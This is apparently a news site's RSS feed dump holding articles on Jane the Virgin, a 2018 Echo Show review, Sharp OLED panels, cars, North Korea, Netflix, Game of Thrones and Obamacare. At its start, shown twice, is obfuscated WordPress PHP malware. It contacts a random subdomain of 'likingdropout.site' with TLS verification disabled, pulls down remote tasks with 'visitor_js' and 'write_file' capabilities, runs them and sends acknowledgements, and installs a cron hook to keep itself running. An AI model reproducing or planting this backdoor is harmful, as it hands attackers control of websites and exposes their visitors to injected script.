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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Warning: The following contains spoilers for Wednesday’s Jane the Virgin!

The penultimate episode of Jane the Virgin put the final bow on the titular heroine’s relationship with ex-love Michael (Brett Dier). After realizing that her former hubby hasn’t yet signed away his life rights for her book, Jane meets up with Michael at a coffee shop to discuss the matter. However, it’s not Michael who isn’t on board with her novel, but his… fiancée Charlie (Dier’s real-life fiancée Haley Lu Richardson), aka the rancher who hated his guts but is now pregnant with his child!

Jane is sincerely happy for Michael, but Charlie isn’t thrilled with Jane. She doesn’t like the idea of the author sharing personal details with the world, especially since she and Michael like their privacy and the quiet life they’ve built in Montana. “This is a family decision, Jane, and I support whatever Charlie wants,” Michael says. When Jane argues that he’s not being fair, Michael explains that he doesn’t like being put in this position and having to say “no,” but “Charlie means everything to me.”

“Look, when you left, I was broken, and Charlie put me back together again,” he continues. “I know this sucks, but I have to choose her and her feelings. She’s my partner. For life.”

Charlie overhears the exchange and tells Michael to sign the papers. What she really wanted was “to see if y’all still had anything between ya,” she says, and that confession seems to have convinced her they don’t.

“I do think it was destiny,” Jane adds. “Everything that’s happened, all the moments that led to this, you two finding each other, it couldn’t have happened any other way.”

And with that, Jane and Michael say goodbye to each other — for good this time, the narrator assures us.

Now it’s time for you to weigh in: Did the scene finally give you the closure you needed on Jane and Michael’s story? Are you ready to move on?

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]]> https://briefnews.eu/jane-the-virgin-did-spoilers-return-provide-much-needed-closure/feed/ 0 Amazon Echo Show (2018) review: Much-needed refinements https://briefnews.eu/amazon-echo-show-2018-review-much-needed-refinements/ https://briefnews.eu/amazon-echo-show-2018-review-much-needed-refinements/#respond Mon, 08 Oct 2018 12:03:25 +0000 http://briefnews.eu/amazon-echo-show-2018-review-much-needed-refinements/

When Amazon unveiled the Echo Show last year, many people made fun of it for its bulky, awkward appearance. But it proved to be a pioneer in the smart display category, showing that adding a screen to a voice assistant was actually useful. So much so, that Google followed a few months later with its own line of Echo Show rivals, thanks to partners like Lenovo and JBL. Google’s smart displays were better-looking and had a more intuitive interface, with desirable features like step-by-step recipes and YouTube integration.

Amazon must have taken note of the competition, however, because the new Echo Show has undergone a serious upgrade, with an improved design, superior sound quality and enhanced entertainment options. Just like Google’s Smart Displays, it now has step-by-step cooking guides, and thanks to a built-in browser, access to YouTube.com, too. The Echo Show likely won’t win over those already entrenched in Google’s ecosystem, but with all the improvements that Amazon has made, the second-generation is now almost on-par with its rivals.

If you placed the original Echo Show and the 2018 version next to each other, they look like Before and After photos in a makeover program. Last year’s model is so clunky and angular that it looks like it belongs in the ’90s. The new smart display, however, actually looks like a modern piece of hardware. Its speakers are also housed in the back (instead of the front), resulting in a minimalist, streamlined look.

The screen is bigger too, measuring 10-inches across (up from 7-inches), making the Echo Show much better for videos and entertainment than before. Despite the screen’s extra size, it doesn’t take up a lot of space. It’s only 9.7-inches wide, which is a smaller footprint than the 10-inch Lenovo Smart Display (12.26 inches wide). I don’t have a very big kitchen, so I appreciate every inch of counter space I can get.

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The new Echo Show only has a 1,200 x 800 resolution, however, so images don’t look quite as colorful and crisp as Lenovo’s 10-inch Smart Display (1,920 x 1,200). Don’t get me wrong; the display is still pretty decent for short videos and news clips, but I probably wouldn’t want to watch full-length movies on it.

Which is curious, because Amazon is definitely pushing video as a feature here — it recently partnered with NBC and Hulu to provide videos for the Echo Show, it added Vevo music video support, and you can also use it to watch DVR recordings from Amazon’s upcoming Fire TV Recast. I understand that the smart display is meant mostly for occasional video viewing while puttering about the kitchen, but I wouldn’t have minded a sharper display, especially when compared to the competition.

Where the Echo Show really shines, though, is its audio quality. Thanks to a pair of two-inch neodymium drivers and a passive bass radiator, the sound is spectacular. It has nice, deep bass, crisp highs, and powerful volume levels that practically shook my kitchen when I pumped up Queen’s “Another One Bites the Dust.” I was also blown away by Dolby’s spatial audio processing, where I got the sense that the sound was moving all around me. To my untrained ears, it sounds a little richer and rounder than the JBL LinkView and way better than the Lenovo. It even gives my Sonos One a run for its money, at least in terms of bass and the spatial audio.

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Setting up the new Echo Show isn’t that different to the old one, but it bears repeating here, if only because it’s just so much easier than setting up Google’s Smart Display. While the latter requires a companion app to sync everything, the former doesn’t need an app at all. I just entered in my Amazon credentials and my WiFi details, and it was ready to go. Of course, the Alexa app is useful for certain tasks like managing skills and connecting your calendars, but it’s not necessary. For technically-challenged people like my mother, this is a massive benefit that shouldn’t be downplayed.

It’s clear from the get-go that Amazon took care to make the Echo Show’s home screen more visually interesting. For example, it now shows trending topics, the time, the weather and Alexa tips by default. But now, there are whimsical illustrations as wallpaper, which you can customize with your own photos. Additionally, whenever a trending topic has a photo associated with it, that’ll show up too. Even the weather forecast is presented in a more striking font and colorful graphics. Sure, these are small details, but I think they add to the cheerful, playful feel that the Echo Show seems to be going for.

Another area in which the Echo Show has improved is the video navigation. When I said “Show Prime Video,” for example, it brought up a splash page with Amazon’s The Marvelous Mrs. Maisel on the background, plus a list of Prime Video categories on the bottom left side. From there, I could say things like “Show me comedies” or “Show me drama” to see a list of TV shows and movies in those categories. I also liked that I could access the videos I already owned by saying “Show me my Amazon video library.”

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Though I wasn’t able to test them (because the services are still in beta), this same navigation interface also works with other Amazon content partners like NBC and Hulu. So if you say “Show me Hulu videos,” there’ll be the same splash page and navigation options on the bottom left. What’s especially interesting with the Hulu partnership, is that it also works with the company’s live TV service. So if you happen to subscribe to that, you can say things like “Show me ESPN on Hulu” to watch live sports.

Seeing as you can’t watch Hulu Live on Google Smart Displays, and you can’t watch YouTube TV (Google’s own live TV service), on Amazon’s Echo Show, it looks like the rivals are forcing you to take sides. I happen to be a YouTube TV subscriber, but if I want to watch live TV on the Echo Show, I’ll have to switch to Hulu. I know this is all part of their corporate rivalry, but I can’t help but resent it.

One of the Google-powered Smart Displays most standout features is step-by-step cooking guides, and Amazon has introduced that with the new Echo Show as well. When I said “Show me chocolate chip cookie recipes,” for example, it showed me a list of results from different partners like Kitchen Stories and AllRecipes. Each one comes with a list of ingredients as well as a set of step-by-step instructions that Alexa walked me through. Some recipes even come with a video tutorial, which is a step up from what Google currently offers.

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What’s intriguing, to me, is that the Echo Show now comes with two built-in browsers. One is Amazon’s Silk, and the other is Firefox. Launching them is as easy as saying “Alexa, open Silk,” or “Alexa, open Firefox.” I used both to access my Gmail, visit websites and to check my Twitter feed. I should note, though, that much of the Echo Show is primarily voice-driven, but the browser occasionally requires the use of the on-screen keyboard to enter in URLs and other details (like logins and passwords). There’s a microphone button on the keyboard if you’d rather dictate, but I found it much easier to just type.

I also used the browser to access YouTube.com, which is a pretty ingenious trick by Amazon. If you recall, Google removed YouTube integration from the original Echo Show, making it exclusive to its own smart displays instead. Thanks to that built-in browser, I can still watch YouTube on the Echo Show. What’s more, it’s actually a little more functional than the YouTube app on Google’s displays, because I could access my favorite channels and subscriptions here, when I can’t on the other.

Interestingly, I tried to access YouTube TV through the browser (via tv.youtube.com), but it directed me to download the YouTube TV app from the Play Store, which of course I can’t do on the Echo Show.

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Another new feature of the Echo Show is that it works with the Ring video doorbells, so you can see who’s at the front door when someone drops by. You’ll be able to talk to them via the microphone, too. I happen to have a Nest Hello video doorbell, however, which the Echo Show treats as just a normal camera. I can use it as a dumb viewfinder to see what’s outside, but it won’t notify me if someone rings the doorbell, and I can’t use it to communicate with whoever’s outside. It’s my understanding that this is Google’s responsibility, not Amazon’s, but it’s still rather annoying. Google’s Smart Display, on the other hand, offers full functionality with the Nest Hello.

Speaking of which, I was able to use the Echo Show as a viewfinder for the other security cameras I have around the house. It detected my Amazon CloudCam instantly, and also found my two other Nest Cams after I said “Alexa, discover my devices.” This is because the Echo Show, just like the Echo Plus, has a new Smart Home Discovery feature. It also has a local home hub feature that lets smart devices talk to each other even without the internet.

As with the original Echo Show and the Echo Spot, you can use the new one to make video calls thanks to the 5-megapixel front-facing camera and the built-in microphone. I wasn’t able to explore this in my time with it, but I am interested in an upcoming feature that adds Skype calling, too. Seeing as most of my friends and family use Skype instead of an Alexa-powered device, that’s a feature I can see myself using a lot. It’s more useful than the Google Smart Display, which only offers Duo for video calls right now.

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Despite all these improvements, though, the Echo Show isn’t perfect. I miss Google Maps and it’s frustrating that it doesn’t fully work with my Nest Hello. I also tend to prefer Google’s search results over Bing (which Alexa uses). And yeah, watching YouTube on the browser is a clever hack, but it’s not as seamless as just saying “Play YouTube.”

Yet, there is no doubt that the new Echo Show is bigger and better than ever before. The sound quality is top-notch, the design is more attractive, and it has robust entertainment features too, even though I do think the display could be better. It’s even priced relatively affordably at only $ 230, which is $ 20 less than Google’s current smart displays from Lenovo and JBL.

If I were tied to Google’s ecosystem, I’d probably wait a little longer to see what Google has in store — perhaps the much-rumored Home Hub might be a better choice. But if you’re team Amazon or prefer Hulu over YouTube, then the Echo Show is definitely worth checking out.

]]> https://briefnews.eu/amazon-echo-show-2018-review-much-needed-refinements/feed/ 0 Sharp brings much-needed competition to mobile OLED display market https://briefnews.eu/sharp-brings-much-needed-competition-to-mobile-oled-display-market/ https://briefnews.eu/sharp-brings-much-needed-competition-to-mobile-oled-display-market/#respond Wed, 03 Oct 2018 13:00:40 +0000 http://briefnews.eu/sharp-brings-much-needed-competition-to-mobile-oled-display-market/

That super-sharp OLED display on the latest iPhone XS models comes courtesy of Samsung and LG. The rival Korean manufacturers were pretty much your only choice for the pricey phone screens, but that could be about to change. Apple’s LCD supplier Sharp is now jumping on the bandwagon with the release of its first OLED smartphone, the Aquos Zero. Though the handset (pictured above) is only shipping in its native Japan, Sharp’s manufacturing shift could bring down the overarching cost of producing OLED displays — which is good news for consumers that don’t want to pay upwards of $ 700 for the tech.

For its part, Sharp is cautiously optimistic about the move, admitting to Reuters that “the momentum for OLED panels is waning,” while pouring 57.4 billion yen ($ 505 million) into producing them in Western Japan. That’s still less than a third of the planned 200 billion yen investment that was announced by Sharp’s parent Foxconn back when it acquired the company in 2016.

In the past, Sharp has talked of starting an OLED TV panel alliance with Japan Display — which is reportedly eyeing a 2019 start for its OLED production line — in a bid to shake up Korea’s dominance. Unconcerned with falling demand, LG is investing a further 7.8 trillion Korean won ($ 7 billion) into the displays over the next three years. And if anyone has a head-start in the industry its Samsung, which recently unveiled an “unbreakable” OLED panel.

As for the Aquous Zero, the phone packs a 6.2-inch OLED screen, 2992 x 1440 resolution and a 3,000 mAh battery. Inside lurks a Snapdragon 845 octa-core CPU, 6GB RAM and 128 GB storage. And at just 146g, it’s fractionally lighter than an iPhone 8.

Via: Engadget Japan

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]]> https://briefnews.eu/sharp-brings-much-needed-competition-to-mobile-oled-display-market/feed/ 0 Genesis Still Two Years Away From Adding Much-needed Utility Vehicles to Lineup, Essentia Under Consideration https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/ https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/#respond Thu, 13 Sep 2018 01:09:26 +0000 http://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/ Despite producing comprehensively equipped and comfortable sedans with a nearly unbeatable price and warranty, Genesis Motors is in trouble. Sedans aren’t selling like they used to and the company doesn’t have anything else to offer customers right now. Its first utility model, the GV80, won’t appear on dealer lots until 2020. But, upon its arrival, the […]

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]]> https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/feed/ 0 2019 Ford Edge ST adds a much-needed dose of edginess https://briefnews.eu/2019-ford-edge-st-adds-a-much-needed-dose-of-edginess/ https://briefnews.eu/2019-ford-edge-st-adds-a-much-needed-dose-of-edginess/#respond Mon, 09 Apr 2018 11:25:43 +0000 http://briefnews.eu/2019-ford-edge-st-adds-a-much-needed-dose-of-edginess/

Ford is ready to talk a little more about the 2019 Edge ST, starting with how the muscled-up crossover will make best use of its extra power. We know there will be 335 horsepower and 380 pound-feet of torque coming from the 2.7-liter EcoBoost four-cylinder, meaning 20 hp and 30 lb-ft more than the 2018 Edge Sport AWD with the same engine. The Edge ST becomes the first application of Ford’s eight-speed SelectShift automatic transmission, providing two more gears to put the power down through standard all-wheel drive.

Sensory satisfactions of hopping into Sport mode start with the instrument cluster — the space to the left of the speedometer switches from a plain, blue tachometer to a red-hued tacho with a gear indicator. An active noise system puts a more compelling note in the cabin, though we really wish such antics weren’t necessary.

As for driving satisfaction, in addition to more cogs, the pilot benefits from faster shift times than with the Edge’s usual six-speed gearbox after activating Sport mode, while standard paddle shifters enable full control of the transmission. Sharper throttle response in Sport works a more vigorous shift algorithm that holds gears longer on acceleration and through corners. Keener engine braking helps set up for corners, and hard deceleration cues the transmission to drop through gears sooner with rev-matched downshifts. Ford says there are new ESC and traction control programs, but won’t tell us anything about them yet.

Speaking of brakes, an optional Performance pack swaps in front rotors “optimized for performance and cooling,” which could mean they’re either slotted or drilled, if not of a new compound. The front calipers wear a dust shield, and upgraded pads go on front and rear “to provide a consistent and prolonged track experience.” Although we’re not sure how many hard laps you’d expect from a 4,400-pound crossover with twin-pot calipers in front and a single-piston caliper in back. The stoppers hide behind 20-inch wheels as standard, the Performance Pack bolts on a set of 21s.

Everything looks good so far. If the driving pleasure can match the press release, and Ford can price it right, the Edge ST could be the bullhorn the model’s been looking for. We’ll look forward to more information before we get the chance to drive it later this year.

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]]> https://briefnews.eu/2019-ford-edge-st-adds-a-much-needed-dose-of-edginess/feed/ 0 North Korea is so short on money it’s selling its much-needed electricity to China https://briefnews.eu/north-korea-is-so-short-on-money-its-selling-its-much-needed-electricity-to-china/ https://briefnews.eu/north-korea-is-so-short-on-money-its-selling-its-much-needed-electricity-to-china/#respond Tue, 27 Feb 2018 05:59:56 +0000 http://briefnews.eu/north-korea-is-so-short-on-money-its-selling-its-much-needed-electricity-to-china/ North Korea portraits electricity buildingED JONES/AFP/Getty Images

  • China is buying electricity from North Korea and will reportedly pay between $ 60,000 and $ 100,000 a month.
  • North Korea has persistent power shortages and much of the country plunges into darkness at nighttime.
  • Selling its much-needed electricity indicates sanctions are hurting North Korea’s cash reserves.

Despite persistent power shortages, North Korea is reportedly selling electricity to China for cash.

The deal, which reportedly began on February 9, will see China pay between $ 60,000 and $ 100,000 a month for power generated by a hydroelectric dam close to the border between the two countries, according to Seoul-based news outlet Daily NK.

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]]> https://briefnews.eu/north-korea-is-so-short-on-money-its-selling-its-much-needed-electricity-to-china/feed/ 0 Netflix deal provides a much-needed boost in the Middle East https://briefnews.eu/netflix-deal-provides-a-much-needed-boost-in-the-middle-east/ https://briefnews.eu/netflix-deal-provides-a-much-needed-boost-in-the-middle-east/#respond Sun, 18 Feb 2018 19:49:55 +0000 http://briefnews.eu/netflix-deal-provides-a-much-needed-boost-in-the-middle-east/

Despite what it seems, Netflix isn’t a dominant force everywhere on the planet. In fact, it’s struggling in the Middle East and northern Africa — Netflix and Amazon combined represent 21 percent of the local subscription video space. The company is determined to get a leg up, however. It just forged its first partnership deal in the region, signing a pact with pay TV provider OSN to make its content available across the area. OSN customers will have access to Netflix through a set-top box launching near the end of the second quarter (around June), and will have the option of paying for Netflix through their existing OSN bills.

Yes, Netflix is very familiar with these sorts of deals (just ask Comcast customers), but this could be more important than most. The Middle East and northern Africa have wildly varying income levels, and viewers frequently want to save money where they can. It’s easier to watch Netflix through an box you already have than to buy another device (or upgrade your TV) just to catch The Crown. Also, local companies like Icflix, Starz Plus and OSN’s own Wavo have better recognition — this agreement gets Netflix’s foot in the door.

The bigger challenge is actually producing shows that people in the area would like to watch. Netflix has had just one piece of original Arabic content (a comedy special with Adel Karam) since debuting in the Middle East at the end of 2016. That makes it a tough sell when there’s plenty of localized material on rival services. If Netflix wants to have as much clout in the Middle East as it does in English- and Spanish-speaking countries, it’ll likely need to produce much more content that reflects the area’s cultures and languages.

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]]> https://briefnews.eu/netflix-deal-provides-a-much-needed-boost-in-the-middle-east/feed/ 0 ‘Game of Thrones’ delivered a much-needed plot twist that fixed everything wrong with Winterfell https://briefnews.eu/game-of-thrones-delivered-a-much-needed-plot-twist-that-fixed-everything-wrong-with-winterfell/ https://briefnews.eu/game-of-thrones-delivered-a-much-needed-plot-twist-that-fixed-everything-wrong-with-winterfell/#respond Mon, 28 Aug 2017 08:17:26 +0000 http://briefnews.eu/game-of-thrones-delivered-a-much-needed-plot-twist-that-fixed-everything-wrong-with-winterfell/ Littlefinger death scene game of thrones

Warning: Spoilers of “Game of Thrones” season seven, episode seven “The Dragon and the Wolf.”

And just like that, one of the biggest bad guys in “Game of Thrones” is now dead.

After a frustrating season in Winterfell, the season seven finale of “Game of Thrones” delivered the death that fans have been yearning for since season one — the demise of Lord Petyr Baelish, aka Littlefinger.

While some fans may have thought that Sansa was going to turn on her sister Arya, it was Lord Baelish who got his final comeuppance.

“You stand accused of murder, you stand accused of treason, how do you answer these charges … Lord Baelish?” Sansa asked. She went on to talk about all of Littlefinger’s crimes — he murdered Lysa Arryn, their aunt; he conspired to murder Jon Arryn, Lysa’s husband; he started the conflict between the Lannisters and the Starks; his treachery lead to Ned Stark’s death; and so much more.

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“[You] turn family against family, turn sister against sister,” Sansa said. And then Arya executed Littlefinger with a swift cut to the throat, with the catspaw dagger that it turned out had originally belonged to him.

And fans went wild.

It was a much needed scene in Winterfell to end the season, especially because the show had stumbled after reuniting Bran, Arya, and Sana Stark under one roof.

The writers had to straddle reacquainting the Stark kids with one another and bringing them all up to speed with who (and what) they’ve become since season one while also moving the story forward.

The problem was there was so much for them to catch up on. Bran Stark is now the Three-Eyed Raven, Arya is essentially a Faceless Man who revels in killing her enemies, and Sansa is the Lady of Winterfell standing in for King in the North Jon Snow.

That’s a lot for anyone to take in.

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It lead to the storyline slowing down dramatically. Fans already knew that Bran was the Three-Eyed Raven and could see anything during any time period in Westeros, but he had to prove it to his sisters. We watched Arya don the face of Walder Frey and murder the men of House Frey at the very beginning of season seven, but Sansa had to learn for herself what her sister is capable of.

Meanwhile Sansa needed to fill in Bran and Arya that not only is she the Lady of Winterfell, but she’s also the reason Battle of the Bastards was won in the first place.

It just felt like a lot of rambling backtracking that wasn’t moving the storyline forward.

Worst of all, when these revelations did occur, it seemed lazy. Bran told Sansa he knows Ramsay Bolton raped her, and she just walked away. After Arya confronts Sansa about the note she was forced to send to Robb back in season one, Sansa just flat-out says she’s the reason the Lords of the Vale helped the Starks take back Winterfell. And Sansa finding Arya’s faces lead to one of the most confusing and bizarre scenes in season seven between the sisters.

But Littlefinger’s sudden death at the hands of Arya Stark finally moved the plot along. The entire season it seemed as though Arya and Sansa had been manipulated by Littlefinger. But the Stark siblings finally figured it out and turned the tables on the master schemer — something he obviously didn’t see coming.

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A few things still don’t make sense. Did Arya and Sansa know the whole time Littlefinger was playing them? What about Bran, did he finally let them know? And how did Petyr Baelish, one of the greatest players in the game of thrones, let his guard down and not realize the tables were turning on him?

All these questions will be left to the final season of “Game of Thrones.” But if season seven was any indication, maybe we’re better off moving forward and never addressing it again.

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Gov. Brian Sandoval of Nevada on Tuesday announced that Centene, a low-cost health insurer, would enter the private health-insurance markets in 14 rural Nevada counties that previously had no insurer for 2018.

“Today we are going to announce that there will be no counties without health insurance options in the great state of Nevada,” Sandoval said at a rural hospital in Silver Springs.

The news was first reported by The Nevada Independent.

The void in Nevada was created after the health insurer Anthem pulled out of the 14 counties on August 7, citing uncertainty surrounding the future of the markets established by the Affordable Care Act, the law better known as Obamacare.

At Tuesday’s press conference, Sandoval said he called Centene CEO Michael Neidorff after Anthem’s exit to ask whether Centene would expand its Obamacare footprint.

Health-policy experts describe empty counties as the worst-case scenario for Obamacare’s individual insurance markets. Based on data from the Kaiser Family Foundation, a nonpartisan health-policy think tank, 8,048 Nevadans in the 14 counties were in danger of having no insurer in 2018 based on plan selections for this year.

Tuesday’s decision leaves one county in Wisconsin and one county in Ohio as the only remaining empty counties for next year. Data from the Kaiser Family Foundation suggests that 381 people currently enrolled in plans in those counties are at risk of being left without an insurer in 2018.

Centene is a relative success story in the Obamacare markets, using its slimmed-down Medicaid-like plans to achieve profits in the exchange business. Centene has expanded its Obamacare footprint in multiple states, including previously bare counties in Kansas.

Tuesday’s announcement from Centene comes as uncertainty surrounding the 2018 plan year is reaching a fever pitch.

President Donald Trump has contributed to the uncertainty by not committing to follow through on two key parts of Obamacare: subsidizing insurers for providing affordable health insurance to poor people and enforcing penalties on some Americans who do not purchase health insurance. Insurers have made it clear there will be negative consequences for consumers on the exchanges if Trump backs away from either of those obligations.

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]]> https://briefnews.eu/obamacare-just-got-some-much-needed-good-news/feed/ 0 Here Are 23 Much-Needed Hilarious Tweets From This Week https://briefnews.eu/here-are-23-much-needed-hilarious-tweets-from-this-week/ https://briefnews.eu/here-are-23-much-needed-hilarious-tweets-from-this-week/#respond Sun, 13 Aug 2017 21:05:34 +0000 http://briefnews.eu/here-are-23-much-needed-hilarious-tweets-from-this-week/ [unable to retrieve full-text content]

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